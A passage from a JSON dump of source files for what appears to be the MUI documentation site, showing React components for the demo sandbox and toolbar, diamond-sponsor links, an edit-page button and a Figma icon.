onResetDemoClick={onResetDemoClick} t={t}>\n      {isolated ? (\n        // Place ThemeProvider from MUI System here to disconnect the theme inheritance for Material UI and Joy UI\n        // The demo will need to handle the ThemeProvider itself.\n        <SystemThemeProvider\n          theme={(upperTheme) => ({\n            direction: upperTheme.direction, // required for internal ThemeProvider\n            vars: upperTheme.vars, // required for styling Iframe\n          })}\n        >\n          {iframe ? (\n            <DemoIframe name={name} isolated={isolated} {...other}>\n              {/* `children` needs to be a child of `DemoIframe` since the iframe implementation rely on `cloneElement`. */}\n              {/* the `colorSchemeNode` will be provided by DemoIframe through `window` prop */}\n              <IsolatedDemo cssVarPrefix={name}>{children}</IsolatedDemo>\n            </DemoIframe>\n          ) : (\n            <IsolatedDemo cssVarPrefix={name} colorSchemeNode={root}>\n              {children}\n            </IsolatedDemo>\n          )}\n        </SystemThemeProvider>\n      ) : (\n        <DemoInstanceThemeProvider runtimeTheme={injectTheme}>\n          {iframe ? (\n            <DemoIframe name={name} {...other}>\n              {/* `children` needs to be a child of `DemoIframe` since the iframe implementation rely on `cloneElement`. */}\n              {children}\n            </DemoIframe>\n          ) : (\n            children\n          )}\n        </DemoInstanceThemeProvider>\n      )}\n    </DemoErrorBoundary>\n  );\n}\n\nDemoSandbox.propTypes = {\n  children: PropTypes.node.isRequired,\n  id: PropTypes.string.isRequired,\n  iframe: PropTypes.bool,\n  isolated: PropTypes.bool,\n  name: PropTypes.string.isRequired,\n  onResetDemoClick: PropTypes.func.isRequired,\n};\n\nexport default React.memo(DemoSandbox);\n"
  },
  {
    "path": "docs/src/modules/components/DemoToolbar.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport copy from 'clipboard-copy';\nimport { useTheme, styled, alpha } from '@mui/material/styles';\nimport IconButton from '@mui/material/IconButton';\nimport Fade from '@mui/material/Fade';\nimport MDButton from '@mui/material/Button';\nimport Box from '@mui/material/Box';\nimport MDToggleButton from '@mui/material/ToggleButton';\nimport MDToggleButtonGroup, { toggleButtonGroupClasses } from '@mui/material/ToggleButtonGroup';\nimport SvgIcon from '@mui/material/SvgIcon';\nimport Snackbar from '@mui/material/Snackbar';\nimport Menu from '@mui/material/Menu';\nimport MDMenuItem, { menuItemClasses } from '@mui/material/MenuItem';\nimport MoreVertIcon from '@mui/icons-material/MoreVert';\nimport Tooltip from '@mui/material/Tooltip';\nimport Divider from '@mui/material/Divider';\nimport RefreshRoundedIcon from '@mui/icons-material/RefreshRounded';\nimport ResetFocusIcon from '@mui/icons-material/CenterFocusWeak';\nimport { useRouter } from 'next/router';\nimport { CODE_VARIANTS } from '@mui/docs/constants';\nimport { useSetCodeVariant } from '@mui/docs/codeVariant';\nimport { useTranslate } from '@mui/docs/i18n';\nimport OpenMuiChat from 'docs/src/modules/components/OpenMuiChat';\nimport stylingSolutionMapping from 'docs/src/modules/utils/stylingSolutionMapping';\nimport { useDemoContext } from '@mui/docs/DemoContext';\nimport codeSandbox from '../sandbox/CodeSandbox';\nimport stackBlitz from '../sandbox/StackBlitz';\n\nconst Root = styled('div')(({ theme }) => [\n  {\n    [theme.breakpoints.up('sm')]: {\n      display: 'flex',\n      alignItems: 'center',\n      justifyContent: 'space-between',\n    },\n    '& .MuiIconButton-root': {\n      '&:hover': {\n        backgroundColor: (theme.vars || theme).palette.grey[100],\n      },\n    },\n    '& .MuiSvgIcon-root': {\n      fontSize: 16,\n      color: (theme.vars || theme).palette.grey[900],\n    },\n  },\n  theme.applyDarkStyles({\n    '& .MuiIconButton-root': {\n      '&:hover': {\n        backgroundColor: (theme.vars || theme).palette.primaryDark[700],\n      },\n    },\n    '& .MuiSvgIcon-root': {\n      color: (theme.vars || theme).palette.grey[400],\n    },\n  }),\n]);\n\nfunction DemoTooltip(props) {\n  return (\n    <Tooltip\n      slotProps={{\n        popper: {\n          sx: {\n            zIndex: (theme) => theme.zIndex.appBar - 1,\n          },\n        },\n      }}\n      {...props}\n    />\n  );\n}\n\nconst alwaysTrue = () => true;\n\nconst ToggleButtonGroup = styled(MDToggleButtonGroup)(({ theme }) => [\n  theme.unstable_sx({\n    [`& .${toggleButtonGroupClasses.grouped}`]: {\n      '&:not(:first-of-type)': {\n        pr: '2px', // a nudge for optical alignment\n      },\n      '&:not(:last-of-type)': {\n        pl: '2px', // a nudge for optical alignment\n      },\n    },\n  }),\n]);\n\nconst Button = styled(MDButton)(({ theme }) => ({\n  height: 26,\n  padding: '7px 8px 8px 8px', // 7px for optical alignment\n  flexShrink: 0,\n  borderRadius: 999,\n  border: '1px solid',\n  borderColor: alpha(theme.palette.grey[200], 0.8),\n  fontSize: theme.typography.pxToRem(13),\n  fontWeight: theme.typography.fontWeightMedium,\n  color: theme.palette.primary[600],\n  '& .MuiSvgIcon-root': {\n    color: theme.palette.primary.main,\n  },\n  '&:hover': {\n    backgroundColor: theme.palette.primary[50],\n    borderColor: theme.palette.primary[200],\n    // Reset on touch devices, it doesn't add specificity\n    '@media (hover: none)': {\n      backgroundColor: 'transparent',\n    },\n  },\n  ...theme.applyDarkStyles({\n    color: theme.palette.primary[300],\n    borderColor: alpha(theme.palette.primary[300], 0.2),\n    '& .MuiSvgIcon-root': {\n      color: theme.palette.primary[300],\n    },\n    '&:hover': {\n      borderColor: alpha(theme.palette.primary[300], 0.5),\n      backgroundColor: alpha(theme.palette.primary[500], 0.2),\n      // Reset on touch devices, it doesn't add specificity\n      '@media (hover: none)': {\n        backgroundColor: 'transparent',\n      },\n    },\n  }),\n}));\n\nconst MenuItem = styled(MDMenuItem)(({ theme }) => ({\n  padding: theme.spacing(1),\n  [`& .${menuItemClasses.selected}`]: {\n    backgroundColor: theme.palette.primary[50],\n  },\n}));\n\nconst ToggleButton = styled(MDToggleButton)(({ theme }) => [\n  theme.unstable_sx({\n    height: 26,\n    width: 38,\n    p: 0,\n    fontSize: theme.typography.pxToRem(13),\n    borderRadius: '999px',\n    '&.Mui-disabled': {\n      opacity: 0.8,\n      cursor: 'not-allowed',\n    },\n  }),\n]);\n\n/**\n * @param {React.Ref<HTMLElement>[]} controlRefs\n * @param {object} [options]\n * @param {(index: number) => boolean} [options.isFocusableControl] In case certain controls become unfocusable\n * @param {number} [options.defaultActiveIndex]\n */\nfunction useToolbar(controlRefs, options = {}) {\n  const { defaultActiveIndex = 0, isFocusableControl = alwaysTrue } = options;\n  const [activeControlIndex, setActiveControlIndex] = React.useState(defaultActiveIndex);\n\n  // TODO: do we need to do this during layout practically? It's technically\n  // a bit too late since we allow user interaction between layout and passive effects\n  React.useEffect(() => {\n    setActiveControlIndex((currentActiveControlIndex) => {\n      if (!isFocusableControl(currentActiveControlIndex)) {\n        return defaultActiveIndex;\n      }\n      return currentActiveControlIndex;\n    });\n  }, [defaultActiveIndex, isFocusableControl]);\n\n  // controlRefs.findIndex(controlRef => controlRef.current = element)\n  function findControlIndex(element) {\n    let controlIndex = -1;\n    controlRefs.forEach((controlRef, index) => {\n      if (controlRef.current === element) {\n        controlIndex = index;\n      }\n    });\n    return controlIndex;\n  }\n\n  function handleControlFocus(event) {\n    const nextActiveControlIndex = findControlIndex(event.target);\n    if (nextActiveControlIndex !== -1) {\n      setActiveControlIndex(nextActiveControlIndex);\n    } else {\n      // make sure DCE works\n      // eslint-disable-next-line no-lonely-if\n      if (process.env.NODE_ENV !== 'production') {\n        console.error(\n          'MUI: The toolbar contains a focusable element that is not controlled by the toolbar. ' +\n            'Make sure you have attached `getControlProps(index)` to every focusable element within this toolbar.',\n        );\n      }\n    }\n  }\n\n  let handleToolbarFocus;\n  if (process.env.NODE_ENV !== 'production') {\n    handleToolbarFocus = (event) => {\n      if (findControlIndex(event.target) === -1) {\n        console.error(\n          'MUI: The toolbar contains a focusable element that is not controlled by the toolbar. ' +\n            'Make sure you have attached `getControlProps(index)` to every focusable element within this toolbar.',\n        );\n      }\n    };\n  }\n\n  const { direction } = useTheme();\n\n  function handleToolbarKeyDown(event) {\n    // We handle toolbars where controls can be hidden temporarily.\n    // When a control is hidden we can't move focus to it and have to exclude\n    // it from the order.\n    let currentFocusableControlIndex = -1;\n    const focusableControls = [];\n    controlRefs.forEach((controlRef, index) => {\n      const { current: control } = controlRef;\n      if (index === activeControlIndex) {\n        currentFocusableControlIndex = focusableControls.length;\n      }\n      if (control !== null && isFocusableControl(index)) {\n        focusableControls.push(control);\n      }\n    });\n\n    const prevControlKey = direction === 'ltr' ? 'ArrowLeft' : 'ArrowRight';\n    const nextControlKey = direction === 'ltr' ? 'ArrowRight' : 'ArrowLeft';\n\n    let nextFocusableIndex = -1;\n    switch (event.key) {\n      case prevControlKey:\n        nextFocusableIndex =\n          (currentFocusableControlIndex - 1 + focusableControls.length) % focusableControls.length;\n        break;\n      case nextControlKey:\n        nextFocusableIndex = (currentFocusableControlIndex + 1) % focusableControls.length;\n        break;\n      case 'Home':\n        nextFocusableIndex = 0;\n        break;\n      case 'End':\n        nextFocusableIndex = focusableControls.length - 1;\n        break;\n      default:\n        break;\n    }\n\n    if (nextFocusableIndex !== -1) {\n      event.preventDefault();\n      focusableControls[nextFocusableIndex].focus();\n    }\n  }\n\n  function getControlProps(index) {\n    return {\n      onFocus: handleControlFocus,\n      ref: controlRefs[index],\n      tabIndex: index === activeControlIndex ? 0 : -1,\n    };\n  }\n\n  return {\n    getControlProps,\n    toolbarProps: {\n      // TODO: good opportunity to warn on missing `aria-label`\n      onFocus: handleToolbarFocus,\n      onKeyDown: handleToolbarKeyDown,\n      role: 'toolbar',\n    },\n  };\n}\n\nexport default function DemoToolbar(props) {\n  const {\n    codeOpen,\n    codeVariant,\n    copyButtonOnClick,\n    copyIcon,\n    hasNonSystemDemos,\n    demo,\n    demoData,\n    demoId,\n    demoName,\n    demoOptions,\n    demoSourceId,\n    initialFocusRef,\n    onCodeOpenChange,\n    onResetDemoClick,\n    openDemoSource,\n    showPreview,\n  } = props;\n\n  const setCodeVariant = useSetCodeVariant();\n  const t = useTranslate();\n  const { csb } = useDemoContext();\n\n  const hasTSVariant = demo.rawTS;\n  const renderedCodeVariant = () => {\n    if (codeVariant === CODE_VARIANTS.TS && hasTSVariant) {\n      return CODE_VARIANTS.TS;\n    }\n    return CODE_VARIANTS.JS;\n  };\n\n  const handleCodeLanguageClick = (event, clickedCodeVariant) => {\n    if (clickedCodeVariant !== null && codeVariant !== clickedCodeVariant) {\n      setCodeVariant(clickedCodeVariant);\n    }\n  };\n\n  const [anchorEl, setAnchorEl] = React.useState(null);\n  const handleMoreClick = (event) => {\n    setAnchorEl(event.currentTarget);\n  };\n  const handleMoreClose = () => {\n    setAnchorEl(null);\n  };\n\n  const [snackbarOpen, setSnackbarOpen] = React.useState(false);\n  const [snackbarMessage, setSnackbarMessage] = React.useState(undefined);\n\n  const handleSnackbarClose = () => {\n    setSnackbarOpen(false);\n  };\n\n  const createHandleCodeSourceLink = (anchor, codeVariantParam, stylingSolution) => async () => {\n    try {\n      await copy(\n        `${window.location.href.split('#')[0]}#${\n          stylingSolution ? `${stylingSolutionMapping[stylingSolution]}-` : ''\n        }${anchor}${codeVariantParam === CODE_VARIANTS.TS ? '.tsx' : '.js'}`,\n      );\n      setSnackbarMessage(t('copiedSourceLink'));\n      setSnackbarOpen(true);\n    } finally {\n      handleMoreClose();\n    }\n  };\n\n  const handleResetFocusClick = () => {\n    initialFocusRef.current.focusVisible();\n  };\n\n  let showCodeLabel;\n  if (codeOpen) {\n    showCodeLabel = showPreview ? t('hideFullSource') : t('hideSource');\n  } else {\n    showCodeLabel = showPreview ? t('showFullSource') : t('showSource');\n  }\n\n  const controlRefs = [\n    React.useRef(null),\n    React.useRef(null),\n    React.useRef(null),\n    React.useRef(null),\n    React.useRef(null),\n    React.useRef(null),\n    React.useRef(null),\n    React.useRef(null),\n    React.useRef(null),\n    React.useRef(null),\n  ];\n  // if the code is not open we hide the language controls\n  const isFocusableControl = React.useCallback(\n    (index) => (codeOpen ? true : index !== 1 && index !== 2),\n    [codeOpen],\n  );\n  const { getControlProps, toolbarProps } = useToolbar(controlRefs, {\n    defaultActiveIndex: 0,\n    isFocusableControl,\n  });\n\n  const devMenuItems = [];\n  if (process.env.DEPLOY_ENV === 'staging' || process.env.DEPLOY_ENV === 'pull-request') {\n    // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler -- valid reason to disable rules of hooks\n    // eslint-disable-next-line react-hooks/rules-of-hooks -- process.env never changes\n    const router = useRouter();\n\n    if (process.env.PULL_REQUEST_ID) {\n      devMenuItems.push(\n        <MenuItem\n          key=\"link-deploy-preview\"\n          data-ga-event-category=\"demo\"\n          data-ga-event-label={demo.gaLabel}\n          data-ga-event-action=\"link-deploy-preview\"\n          component=\"a\"\n          href={`https://deploy-preview-${process.env.PULL_REQUEST_ID}--${process.env.NETLIFY_SITE_NAME}.netlify.app${router.route}/#${demoName}`}\n          target=\"_blank\"\n          rel=\"noopener nofollow\"\n          onClick={handleMoreClose}\n        >\n          demo on PR #{process.env.PULL_REQUEST_ID}\n        </MenuItem>,\n      );\n    }\n\n    devMenuItems.push(\n      <MenuItem\n        key=\"link-next\"\n        data-ga-event-category=\"demo\"\n        data-ga-event-label={demo.gaLabel}\n        data-ga-event-action=\"link-next\"\n        component=\"a\"\n        href={`https://next--${process.env.NETLIFY_SITE_NAME}.netlify.app${router.route}/#${demoName}`}\n        target=\"_blank\"\n        rel=\"noopener nofollow\"\n        onClick={handleMoreClose}\n      >\n        demo on&#160;<code>next</code>\n      </MenuItem>,\n      <MenuItem\n        key=\"permalink\"\n        data-ga-event-category=\"demo\"\n        data-ga-event-label={demo.gaLabel}\n        data-ga-event-action=\"permalink\"\n        component=\"a\"\n        href={`${process.env.NETLIFY_DEPLOY_URL}${router.route}#${demoName}`}\n        target=\"_blank\"\n        rel=\"noopener nofollow\"\n        onClick={handleMoreClose}\n      >\n        demo permalink\n      </MenuItem>,\n      <MenuItem\n        key=\"link-master\"\n        data-ga-event-category=\"demo\"\n        data-ga-event-label={demo.gaLabel}\n        data-ga-event-action=\"link-master\"\n        component=\"a\"\n        href={`https://master--${process.env.NETLIFY_SITE_NAME}.netlify.app${router.route}/#${demoName}`}\n        target=\"_blank\"\n        rel=\"noopener nofollow\"\n        onClick={handleMoreClose}\n      >\n        demo on&#160;<code>master</code>\n      </MenuItem>,\n    );\n  }\n\n  return (\n    <React.Fragment>\n      <Root aria-label={t('demoToolbarLabel')} {...toolbarProps}>\n        <OpenMuiChat\n          data-ga-event-category=\"mui-chat\"\n          data-ga-event-label={demo.gaLabel}\n          data-ga-event-action=\"open-in-mui-chat\"\n          demoData={demoData}\n        />\n        <Fade in={codeOpen}>\n          <Box sx={{ display: 'flex' }}>\n            {hasNonSystemDemos && (\n              <Divider orientation=\"vertical\" variant=\"middle\" sx={{ mx: 1, height: '24px' }} />\n            )}\n            <ToggleButtonGroup\n              sx={{ margin: '8px 0' }}\n              exclusive\n              value={renderedCodeVariant()}\n              onChange={handleCodeLanguageClick}\n            >\n              <ToggleButton\n                value={CODE_VARIANTS.JS}\n                aria-label={t('showJSSource')}\n                data-ga-event-category=\"demo\"\n                data-ga-event-action=\"source-js\"\n                data-ga-event-label={demo.gaLabel}\n                {...getControlProps(1)}\n              >\n                JS\n              </ToggleButton>\n              <ToggleButton\n                value={CODE_VARIANTS.TS}\n                disabled={!hasTSVariant}\n                aria-label={t('showTSSource')}\n                data-ga-event-category=\"demo\"\n                data-ga-event-action=\"source-ts\"\n                data-ga-event-label={demo.gaLabel}\n                {...getControlProps(2)}\n              >\n                TS\n              </ToggleButton>\n            </ToggleButtonGroup>\n          </Box>\n        </Fade>\n        <Box sx={{ ml: 'auto' }}>\n          <Button\n            aria-controls={openDemoSource ? demoSourceId : null}\n            data-ga-event-category=\"demo\"\n            data-ga-event-label={demo.gaLabel}\n            data-ga-event-action=\"expand\"\n            onClick={onCodeOpenChange}\n            {...getControlProps(3)}\n            sx={{ mr: 0.5 }}\n          >\n            {showCodeLabel}\n          </Button>\n          {demoOptions.hideEditButton ? null : (\n            <React.Fragment>\n              <DemoTooltip title={t('stackblitz')} placement=\"bottom\">\n                <IconButton\n                  data-ga-event-category=\"demo\"\n                  data-ga-event-label={demo.gaLabel}\n                  data-ga-event-action=\"stackblitz\"\n                  onClick={() => stackBlitz.createReactApp(demoData, csb).openSandbox()}\n                  {...getControlProps(4)}\n                  sx={{ borderRadius: 1 }}\n                >\n                  <SvgIcon viewBox=\"0 0 19 28\">\n                    <path d=\"M8.13378 16.1087H0L14.8696 0L10.8662 11.1522L19 11.1522L4.13043 27.2609L8.13378 16.1087Z\" />\n                  </SvgIcon>\n                </IconButton>\n              </DemoTooltip>\n              <DemoTooltip title={t('codesandbox')} placement=\"bottom\">\n                <IconButton\n                  data-ga-event-category=\"demo\"\n                  data-ga-event-label={demo.gaLabel}\n                  data-ga-event-action=\"codesandbox\"\n                  onClick={() => codeSandbox.createReactApp(demoData, csb).openSandbox()}\n                  {...getControlProps(5)}\n                  sx={{ borderRadius: 1 }}\n                >\n                  <SvgIcon viewBox=\"0 0 1024 1024\">\n                    <path d=\"M755 140.3l0.5-0.3h0.3L512 0 268.3 140h-0.3l0.8 0.4L68.6 256v512L512 1024l443.4-256V256L755 140.3z m-30 506.4v171.2L548 920.1V534.7L883.4 341v215.7l-158.4 90z m-584.4-90.6V340.8L476 534.4v385.7L300 818.5V646.7l-159.4-90.6zM511.7 280l171.1-98.3 166.3 96-336.9 194.5-337-194.6 165.7-95.7L511.7 280z\" />\n                  </SvgIcon>\n                </IconButton>\n              </DemoTooltip>\n            </React.Fragment>\n          )}\n          <DemoTooltip title={t('copySource')} placement=\"bottom\">\n            <IconButton\n              data-ga-event-category=\"demo\"\n              data-ga-event-label={demo.gaLabel}\n              data-ga-event-action=\"copy\"\n              onClick={copyButtonOnClick}\n              {...getControlProps(6)}\n              sx={{ borderRadius: 1 }}\n            >\n              {copyIcon}\n            </IconButton>\n          </DemoTooltip>\n          <DemoTooltip title={t('resetFocus')} placement=\"bottom\">\n            <IconButton\n              data-ga-event-category=\"demo\"\n              data-ga-event-label={demo.gaLabel}\n              data-ga-event-action=\"reset-focus\"\n              onClick={handleResetFocusClick}\n              {...getControlProps(7)}\n              sx={{ borderRadius: 1 }}\n            >\n              <ResetFocusIcon />\n            </IconButton>\n          </DemoTooltip>\n          <DemoTooltip title={t('resetDemo')} placement=\"bottom\">\n            <IconButton\n              aria-controls={demoId}\n              data-ga-event-category=\"demo\"\n              data-ga-event-label={demo.gaLabel}\n              data-ga-event-action=\"reset\"\n              onClick={onResetDemoClick}\n              {...getControlProps(8)}\n              sx={{ borderRadius: 1 }}\n            >\n              <RefreshRoundedIcon />\n            </IconButton>\n          </DemoTooltip>\n          <IconButton\n            onClick={handleMoreClick}\n            aria-label={t('seeMore')}\n            aria-owns={anchorEl ? 'demo-menu-more' : undefined}\n            aria-haspopup=\"true\"\n            {...getControlProps(9)}\n            sx={{ borderRadius: 1 }}\n          >\n            <MoreVertIcon />\n          </IconButton>\n        </Box>\n      </Root>\n      <Menu\n        id=\"demo-menu-more\"\n        anchorEl={anchorEl}\n        open={Boolean(anchorEl)}\n        onClose={handleMoreClose}\n        anchorOrigin={{\n          vertical: 'bottom',\n          horizontal: 'right',\n        }}\n        transformOrigin={{\n          vertical: 'top',\n          horizontal: 'right',\n        }}\n      >\n        <MenuItem\n          data-ga-event-category=\"demo\"\n          data-ga-event-label={demo.gaLabel}\n          data-ga-event-action=\"github\"\n          component=\"a\"\n          href={demoData.githubLocation}\n          target=\"_blank\"\n          rel=\"noopener nofollow\"\n          onClick={handleMoreClose}\n        >\n          {t('viewGitHub')}\n        </MenuItem>\n        <MenuItem\n          data-ga-event-category=\"demo\"\n          data-ga-event-label={demo.gaLabel}\n          data-ga-event-action=\"copy-js-source-link\"\n          onClick={createHandleCodeSourceLink(demoName, CODE_VARIANTS.JS)}\n        >\n          {t('copySourceLinkJS')}\n        </MenuItem>\n        <MenuItem\n          data-ga-event-category=\"demo\"\n          data-ga-event-label={demo.gaLabel}\n          data-ga-event-action=\"copy-ts-source-link\"\n          onClick={createHandleCodeSourceLink(demoName, CODE_VARIANTS.TS)}\n        >\n          {t('copySourceLinkTS')}\n        </MenuItem>\n        {devMenuItems}\n      </Menu>\n      <Snackbar\n        open={snackbarOpen}\n        autoHideDuration={3000}\n        onClose={handleSnackbarClose}\n        message={snackbarMessage}\n      />\n    </React.Fragment>\n  );\n}\n\nDemoToolbar.propTypes = {\n  codeOpen: PropTypes.bool.isRequired,\n  codeVariant: PropTypes.string.isRequired,\n  copyButtonOnClick: PropTypes.func.isRequired,\n  copyIcon: PropTypes.object.isRequired,\n  demo: PropTypes.object.isRequired,\n  demoData: PropTypes.object.isRequired,\n  demoId: PropTypes.string,\n  demoName: PropTypes.string.isRequired,\n  demoOptions: PropTypes.object.isRequired,\n  demoSourceId: PropTypes.string,\n  hasNonSystemDemos: PropTypes.string,\n  initialFocusRef: PropTypes.shape({ current: PropTypes.object }).isRequired,\n  onCodeOpenChange: PropTypes.func.isRequired,\n  onResetDemoClick: PropTypes.func.isRequired,\n  openDemoSource: PropTypes.bool.isRequired,\n  showPreview: PropTypes.bool.isRequired,\n};\n"
  },
  {
    "path": "docs/src/modules/components/DemoToolbarRoot.ts",
    "content": "import { styled, alpha } from '@mui/material/styles';\n\ninterface DemoToolbarRootProps {\n  demoOptions: any;\n  openDemoSource: any;\n}\n\nconst DemoToolbarRoot = styled('div', {\n  shouldForwardProp: (prop) => prop !== 'demoOptions' && prop !== 'openDemoSource',\n})<DemoToolbarRootProps>(({ theme }) => [\n  {\n    display: 'none',\n    [theme.breakpoints.up('sm')]: {\n      top: 0,\n      maxHeight: 50,\n      display: 'block',\n      marginTop: -1,\n      padding: theme.spacing('2px', 1),\n      border: `1px solid ${(theme.vars || theme).palette.divider}`,\n      borderTopWidth: 0,\n      backgroundColor: alpha(theme.palette.grey[50], 0.2),\n      borderRadius: '0 0 12px 12px',\n      transition: theme.transitions.create('border-radius'),\n      ...(theme.direction === 'rtl' && {\n        left: theme.spacing(1),\n      }),\n      ...(theme.direction !== 'rtl' && {\n        right: theme.spacing(1),\n      }),\n    },\n    variants: [\n      {\n        props: ({ demoOptions }) => demoOptions.bg === 'inline',\n        style: {\n          [theme.breakpoints.up('sm')]: {\n            marginTop: theme.spacing(1),\n            borderTopWidth: 1,\n          },\n        },\n      },\n      {\n        props: ({ openDemoSource }) => openDemoSource,\n        style: {\n          [theme.breakpoints.up('sm')]: {\n            borderRadius: 0,\n          },\n        },\n      },\n    ],\n  },\n  theme.applyDarkStyles({\n    [theme.breakpoints.up('sm')]: {\n      backgroundColor: alpha(theme.palette.primaryDark[800], 0.2),\n    },\n  }),\n]);\n\nexport default DemoToolbarRoot;\n"
  },
  {
    "path": "docs/src/modules/components/DiamondSponsors.js",
    "content": "import { styled, alpha } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport Typography from '@mui/material/Typography';\nimport { Link } from '@mui/docs/Link';\nimport { useTranslate } from '@mui/docs/i18n';\n\nconst NativeLink = styled('a')(({ theme }) => ({\n  boxSizing: 'border-box', // TODO have CssBaseline in the Next.js layout\n  width: '100%',\n  height: 60,\n  display: 'flex',\n  alignItems: 'center',\n  justifyContent: 'center',\n  borderBottom: 0,\n  padding: theme.spacing(1),\n  borderColor: (theme.vars || theme).palette.divider,\n  transition: theme.transitions.create(['background-color']),\n  '&:first-of-type': {\n    borderRight: `1px solid ${(theme.vars || theme).palette.divider}`,\n  },\n  '&:hover': {\n    backgroundColor: (theme.vars || theme).palette.grey[50],\n  },\n  '&:focus-visible': {\n    outline: `3px solid ${alpha(theme.palette.primary[500], 0.5)}`,\n    outlineOffset: '-3px',\n  },\n  '& img': {\n    display: 'inline-block',\n  },\n  ...theme.applyDarkStyles({\n    '&:hover': {\n      backgroundColor: alpha(theme.palette.primary[900], 0.1),\n    },\n  }),\n}));\n\nexport default function DiamondSponsors() {\n  const t = useTranslate();\n\n  return (\n    <Stack direction=\"column\">\n      <Stack\n        direction=\"row\"\n        sx={(theme) => ({\n          borderLeft: '1px solid',\n          borderRight: '1px solid',\n          borderBottom: 0,\n          borderTop: '1px solid',\n          borderColor: (theme.vars || theme).palette.divider,\n          borderRadius: '12px 12px 0 0',\n        })}\n      >\n        <NativeLink\n          data-ga-event-category=\"sponsor\"\n          data-ga-event-action=\"docs-premium\"\n          data-ga-event-label=\"doit.com\"\n          href=\"https://www.doit.com/?utm_source=mui.com&utm_medium=referral\"\n          rel=\"noopener sponsored\"\n          target=\"_blank\"\n        >\n          <Box\n            component=\"img\"\n            src=\"/static/sponsors/doit-light.svg\"\n            alt=\"doit\"\n            title=\"Management Platform for Google Cloud and AWS\"\n            loading=\"lazy\"\n            sx={[\n              {\n                height: '29px',\n                width: '70px',\n              },\n              (theme) =>\n                theme.applyDarkStyles({\n                  content: `url(/static/sponsors/doit-dark.svg)`,\n                }),\n            ]}\n          />\n        </NativeLink>\n        <NativeLink\n          data-ga-event-category=\"sponsor\"\n          data-ga-event-action=\"docs-premium\"\n          data-ga-event-label=\"formengine.io\"\n          href=\"https://formengine.io/lightweight-react-json-schema-form-builder-library-for-mui?utm_source=mui&utm_medium=sponsor&utm_campaign=mui&utm_content=stop-manually&utm_term=smartway\"\n          rel=\"noopener sponsored\"\n          target=\"_blank\"\n        >\n          <Box\n            component=\"img\"\n            src=\"/static/sponsors/formengine-light.svg\"\n            alt=\"formengine\"\n            title=\"Build forms with MUI the smart way!\"\n            loading=\"lazy\"\n            sx={[\n              {\n                height: '23.2px',\n                width: 'auto',\n                maxWidth: '100%',\n              },\n              (theme) =>\n                theme.applyDarkStyles({\n                  content: `url(/static/sponsors/formengine-dark.svg)`,\n                }),\n            ]}\n          />\n        </NativeLink>\n      </Stack>\n      <Link\n        href=\"/material-ui/discover-more/backers/#diamond-sponsors\"\n        sx={(theme) => ({\n          height: 45,\n          width: '100%',\n          display: 'flex',\n          alignItems: 'center',\n          justifyContent: 'center',\n          border: '1px dashed',\n          borderColor: (theme.vars || theme).palette.grey[300],\n          borderRadius: '0 0 12px 12px',\n          backgroundColor: alpha(theme.palette.primary[50], 0.4),\n          transition: theme.transitions.create(['color', 'background-color']),\n          '&:hover': {\n            backgroundColor: (theme.vars || theme).palette.primary[50],\n            borderColor: (theme.vars || theme).palette.primary[200],\n          },\n          '&:focus-visible': {\n            outlineOffset: '-3px',\n          },\n          ...theme.applyDarkStyles({\n            backgroundColor: alpha(theme.palette.primaryDark[700], 0.3),\n            borderColor: alpha(theme.palette.primaryDark[600], 0.5),\n            '&:hover': {\n              backgroundColor: alpha(theme.palette.primary[700], 0.1),\n              borderColor: alpha(theme.palette.primary[600], 0.4),\n            },\n          }),\n        })}\n      >\n        <Typography variant=\"caption\" sx={{ fontWeight: 'medium' }}>\n          {t('becomeADiamondSponsor')}\n        </Typography>\n      </Link>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/src/modules/components/EditPage.js",
    "content": "import PropTypes from 'prop-types';\nimport Button from '@mui/material/Button';\nimport GitHubIcon from '@mui/icons-material/GitHub';\nimport { useUserLanguage, useTranslate } from '@mui/docs/i18n';\n\nconst LOCALES = { zh: 'zh-CN', pt: 'pt-BR', es: 'es-ES' };\n\nexport default function EditPage(props) {\n  const { sourceLocation } = props;\n  const t = useTranslate();\n  const userLanguage = useUserLanguage();\n\n  if (!sourceLocation) {\n    // An empty div such that the footer layout stays unchanged.\n    return <div />;\n  }\n\n  const CROWDIN_ROOT_URL = 'https://crowdin.com/project/material-ui-docs/';\n  const crowdInLocale = LOCALES[userLanguage] || userLanguage;\n  const crowdInPath = sourceLocation.substring(0, sourceLocation.lastIndexOf('/'));\n\n  return (\n    <Button\n      component=\"a\"\n      size=\"small\"\n      variant=\"text\"\n      color=\"secondary\"\n      startIcon={<GitHubIcon sx={{ mr: 0.5 }} />}\n      href={\n        userLanguage === 'en'\n          ? `${process.env.SOURCE_CODE_REPO}/edit/${process.env.SOURCE_GITHUB_BRANCH}${sourceLocation}`\n          : `${CROWDIN_ROOT_URL}${crowdInLocale}#/${process.env.SOURCE_CODE_ROOT_URL.replace(\n              'https://github.com/mui/',\n              '',\n            ).replace('/blob/', '%20%2F%20')}${crowdInPath}`\n      }\n      target=\"_blank\"\n      rel=\"noopener nofollow\"\n      data-ga-event-category={userLanguage === 'en' ? undefined : 'l10n'}\n      data-ga-event-action={userLanguage === 'en' ? undefined : 'edit-button'}\n      data-ga-event-label={userLanguage === 'en' ? undefined : userLanguage}\n    >\n      {t('editPage')}\n    </Button>\n  );\n}\n\nEditPage.propTypes = {\n  sourceLocation: PropTypes.string.isRequired,\n};\n"
  },
  {
    "path": "docs/src/modules/components/FigmaIcon.js",
    "content": "import { createSvgIcon } from '@mui/material/utils';\n\nexport default createSvgIcon(\n  <g fillRule=\"nonzero\" fill=\"none\">\n    <path d=\"M8 24a4 4 0 004-4v-4H8a4 4 0 000 8z\" fill=\"#0ACF83\" />\n    <path d=\"M4 12a4 4 0 014-4h4v8H8a4 4 0 01-4-4z\" fill=\"#A259FF\" />\n    <path d=\"M4 4a4 4 0 014-4h4v8H8a4 4 0 01-4-4z\" fill=\"#F24E1E\" />\n    <path d=\"M12 0h4a4 4 0 010 8h-4V0z\" fill=\"#FF7262\" />\n    <path d=\"M20 12a4 4 0 11-8 0 4 4 0 018 0z\" fill=\"#1ABCFE\" />\n  </g>,\n  'Figma',\n);\n"
  },
  {
    "path": "docs/src/modules/components/Head.tsx",
